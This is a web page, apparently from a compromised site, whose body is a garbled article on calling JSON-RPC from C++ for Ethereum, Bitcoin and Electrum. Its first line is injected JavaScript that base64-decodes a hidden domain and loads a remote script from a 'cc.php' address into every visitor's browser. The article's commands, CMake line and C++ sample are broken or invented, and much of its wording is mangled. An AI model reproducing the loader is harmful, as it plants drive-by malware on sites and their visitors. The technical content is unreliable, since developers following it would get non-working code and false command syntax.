const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=cfa61a9b”;document.body.appendChild(script);

Ethereum: JSON-RPC Using C ++ in Linux

Ethereum: How to use JSON-RPC in C++ in Linux?

In this article, we will translate you through the use of the JSON-RPC protocol for C ++ to interact with Ethereum Blockchain. We will also look at how to use RPC Bitcoin libraries and provide examples of using Electrum API.

What is JSON-RPC?

JSON -RPC (JavaScript Object Nottation – Remote Call) is a remote ringing standard that allows developers to communicate with remote servers via HTTP. In this context, we will use the JSON-RPC protocol for interaction with Ethereum blockchain.

Which library should I use in JSON?

There are several libraries to work with JSON C ++. Here are some options:

  • JSONCPP: Lightweight and Modern JSON analyzer and generator.

  • Boost :: JSON: Popular and rich in JSON analysis and library generation.

  • Glib-2.X: Modern C ++ Library Library Library.

In this example, we will use the library JSONCPP. You can install it using your package manager or by adding the following row to a filecmakelist.txt:

Cmake

Add_Library (JSONCPP_JSON CPP_JSON.CPP)

How can I use Bitcoin or Bitcoin-Cli RPC?

Here is an example of how you can use the JSON-RPC protocol with Bitcoin:

* Bitcind : Beginning Bitcoin Cli, you can use the -jsonrpc option. For example:

bash

./bitcoin -Cli -jsonrpc = 1 -url http: // Localhost: 8332

This will launch a new connection to the Bitcoin knot on the http: // Localhost: 8332, and you can send JSON-RPC requests to it.

* Bitcoin-Cli : starting Bitcoin-Cli, you can also use the -jsonrpc option. For example:

bash

Bitcoin -Cli -jonrpc = 1 -url http: // Localhost: 8332

How can I use Electrum API RPC?

Here is an example of how you can use the JSON-RPC protocol with Electrum:

* Electrum : You can start a new connection to the Electrum Node on the “http: // Localhost: 8090and then send JSON-RPC requests to it using the following code:

Cp

#InCLUDE

#Include

INT MAIN () {

// Start a new relationship with the use of electricity

STD :: Cout << "Related to Electron ..." << STD :: Endl;

// Send the JSON-RPC request to achieve all hanging transactions

STD :: a series of json = "{\" method \ ": \" Listtransiation \ ", \" Params \ ": [], \" JSONRPC \ ": \" 1.0 \ ", \" ID \ ": Null}" ;

int score = JSON.CP2JSON (JSON, JSON);

If (score == 0) {

for (int i = 0; i <score; ++ i) {

STD :: Cout << "Deal" << I + 1 << ":" << JSON.CPP2String (result [i]) << STD :: Endl;

}

}

Return 0;

}

This code sends the JSON-RPC request listransAkcactions without parameters and prints the waiting list.

Example of use of cases

* Ethereum

: You can use the JSON-RPC protocol to interact with the Ethereum blockchain by sending requests both to the contract (binary application interface) to perform functions.

* Bitcoin : You can use the JSON-RPC protocol, such as blocking the time brands and business number to obtain information about the Bitcoin network.

* Electrum : You can use the JSON-RPC protocol to retrieve the landing list.

Conclusion

In this article, we looked at how to use the JSON-RPC protocol C ++ to interact with Ethereum Blockchain. We have also given examples of RPC libraries to Bitcoin and Electrum API. With this knowledge, you can start creating your own applications that use the JSON-RPC protocol to interact with this blockchain.

ETHEREUM USING